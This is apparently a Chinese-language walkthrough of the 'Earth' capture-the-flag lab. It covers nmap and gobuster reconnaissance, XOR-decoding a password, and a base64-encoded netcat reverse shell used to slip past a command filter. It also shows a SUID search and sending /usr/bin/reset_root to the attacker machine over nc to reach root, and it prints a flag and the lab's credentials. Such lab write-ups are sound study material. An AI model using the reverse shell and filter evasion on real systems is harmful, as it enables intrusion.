earth

ip发现

(攻击机和靶机都使用nat模式,保证处于同一ip段)

ifconfig

发现攻击机ip段为192.168.22

使用nmap -sP 192.168.22.124

-sP scan ping

使用ping扫描网段,仅查看哪些网段内哪些主机在线,不查看端口,速度更快

192.168.22.124

192.168.22是网段,129代表着攻击机,而靶机也处于同一网段,所以此时网关为255.255.255.0,换算成2进制就是24个1和8个0,/24就代表着网关为255.255.255.0,所以192.168.22此时为主机号,nmap会只扫描192.168.22.1 - 192.168.22.254这些主机(0作为网络地址,不可用于主机段,255用于广播地址,同样不能用于主机地址)(192.168.22.1的1可以更改为任何一个数字,因为有/24,所以会全部扫完)

发现靶机ip为132

基础信息发现

namp -A 192.168.22.132

-A

会执行以下扫描

  1. ping扫描
  2. 端口扫描
  3. OS扫描(猜测目标主机操作系统)
  4. 版本检测

端口发现

靶机现在开放了-22(ssh原创登录)端口,-80(http协议端口),-443(https)协议端口

DNS解析

用了两个DNS服务器

OS发现

靶机运行的是linux系统

添加本地DNS

(有些情况可能只允许域名访问而不允许ip地址访问,所以这一步是有必要的)

vim /etc/hosts

按i进行输入


按esc退出

:wq保存(write quit)

接着就可以在网页访问earth.local了

### (1)dirb(Directory Bruteforcing)

目录枚举工具

dirb http://earth.local

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230606193100.png)

发现有admin和cgi-bin两个文件夹(只能找到顶级文件夹,比如admin内还有login文件夹,因为不是顶级,所以扫不出来)

因为-80和-443端口都开放了,所以http  https  earth.local terratest.earth.local  都要扫一遍

### (2)gobuster

dirb每次只能一个网站一个网站扫,过于繁琐,所以使用gobuster来扫描,http和https最好分开扫描

```gobuster dir -u https://earth.local -u https://terratest.earth.local -k  -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt```

```gobuster dir -u http://earth.local -u http://terratest.earth.local -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt```

```gobuster dir -u <url> -k(如果有https则需要加上-k) -w <字典路径>```

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161245.png)

在https扫出了相对有用的,index.html进去是一句话,而robots.txt进去是目录,在最下面一行找到可能有用的![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161400.png)

文件名是testingnotes.*    *是通配符,需要猜测后缀,一般可能为

<ol>
    <li>  .md</li>
    <li>  .txt</li>
    <li>  .dox</li>
    <li>  .html</li>
    <li>  .php</li>
</ol>


这里后缀为.txt

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161811.png)

第二行使用XOR encryption(异或加密算法)

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607164350.png)

第四行testdata.txt是被用来测试加密的

todo上方一行表明earth靶机的用户名是terra

### 下载testdata.txt

因为是https,未经过验证ssl证书,所以使用wget直接下载的情况

```wget https://terratest.earth.local/testdata.txt```会报错,

所以要忽略不可信证书强行下载

```wget https://terratest.earth.local/testdata.txt --no-check-certificate```

(能使用wget下载就是因为80和443端口开放)

### 解码

使用[CyberChef (gchq.github.io)](https://gchq.github.io/CyberChef/)在线平台进行解码

datatest.txt(A)进行了一次测试,与密钥(B)进行XOR生成了earth.local首页的C,现在用C和A进行XOR操作获取密钥B

```2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a```

这段字符串是 16 进制编码的二进制数据,具有以下特征:1. 只包含数字 0-9 和字母 A-F16 进制使用 0-9 和 A-F 表示数值,所以 16 进制编码的数据只会包含这些字符。

所以先把这段转化成二进制,然后跟datatest.txt的内容进行XOR,发现密钥B为earthclimatechangebad4humans

### 登陆

![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607173526.png)

用户名为terra,密码尝试使用earthclimatechangebad4humans,成功登陆

<ol>
    <li>ls</li>
    <li>whoami</li>
    <li>locate password</li>
    <li>locate flag</li>
</ol>


发现flag      ```user_flag_3353b67d6437f07ba7d34afd7d2fc27d```



### 提权

反弹shell,使用```nc 192.168.22.129 4444 -e /bin/sh```,显示被禁止,可能是有过滤器,所以将```nc 192.168.22.129 4444 -e /bin/sh```进行base64编码(别人用的都是base64编码,但编码成别的应该也可以),在页面输入```echo 'bmMgMTkyLjE2OC4yMi4xMjkgNDQ0NCAtZSAvYmluL3No' | base64 -d | sh```

-d decode 解码

sh 将前面的代码当作一个命令来执行



```bash
find / -user root -perm /4000 2>/dev/null 
find / -perm -u=s -type f 2>/dev/null

网上搜到的两种搜索提权文件的代码

find [范围] 选项

1.find / -user root -perm /4000 2>/dev/null

  1. /
  2. 范围在根目录
  3. -user root
  4. 选定属主为root
  5. -perm /4000
  6. permission意味权限,-perm后面要带有具体范围,/4000是SUID的八进制位形式
    • 属主
    • 文件或目录的创始者
    • 属组
    • 一种权限分划方式,同一个属组内的用户可以共享文件的读写删改操作权限,比如a,b,c三个用户,a,b为一个属组,c不属于a,b的属组,a创建了一个文件,b具有跟a等同的对该文件操作的权力,而c没有(注意普通用户跟root用户同一属组时不具备root的权限)
    • SUID
    • Set User Id,当一个目录或文件具有SUID时,代表该文件在执行时可以允许普通用户拥有root权限
    所以第二条和第三条联合起来就是查找root用户创建的文件,并且该文件可以让低权限用户使用root权限
  7. 2>/dev/null
  8. >是重定向符号,让报错信息输入到/dev/null中
    • 0
    • 标准输入(Stdin):文件描述符为 0,使用 < 重定向
    • 1
    • 标准输出(Stdout):文件描述符为 1,使用 > 重定向
    • 2
    • 标准错误输出(Stderr):文件描述符为 2,使用 2> 重定向
    • /dev/null
    • /dev/null 是 Linux 中的一个特殊文件,写入到它的内容都会被丢弃。
    所以该命令效果是不显示报错信息

2.find / -perm -u=s -type f 2>/dev/null

-u=s和-u /4000等效 s就是suid

-type代表筛选文件类型,f是regular file,即普通文件

传输文件

发现reset_root,但是报错,直接打开是乱码

strings /usr/bin/reset_root 把二进制文件转化成可阅读文本

发现该文件将更改密码为earth

这个文件发送到攻击机进行分析

攻击机

开端口 nc -nlvp 1234 > reset_root 开启1234端口,创建名为reset_root的文件接受数据(-n是不进行dns查询)

靶机

nc 192.168.22.129 1234 < /usr/bin/reset_root

执行

chmod +x reset_root change mode更改文件权限,x是execute,即将该文件修改为允许执行的文件

ltrace ./reset_root (library trace库追踪)即追踪执行这个文件需要调用什么样的动态库(函数)

(这里用strace更好点,“strace” 中的 “s”,它代表的是 “system calls”(系统调用)。strace 工具的主要功能就是追踪程序执行期间发生的系统调用,以及这些调用的参数和返回值。它可以捕获程序与操作系统之间的交互,包括文件操作、网络通信、进程管理等系统调用。)

(这里有坑,我是在桌面新建了一个文件夹用于接收该文件,为了方便我进文件夹后右键在该位置打开终端,但是直接用ltrace rest_root会报错,用./reset_root就可以, ./ 代表着当前文件夹的路径,这里很怪,注意一下吧)

应该就是靶机上没有这三个文件,所以创建一下(touch创建)

创建完后发现root密码是Earth,su Earth升级权限(这里输入密码没有被隐藏,搞得我还以为有啥问题)

whoami 此时为root

继续find root_flag

Category: 安全 | Tags: 安全 | Created: 2024-11-29 15:03:19